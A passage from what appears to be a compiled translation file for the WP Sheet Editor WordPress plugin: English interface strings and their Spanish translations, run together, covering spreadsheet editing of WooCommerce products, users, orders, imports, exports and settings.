                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable 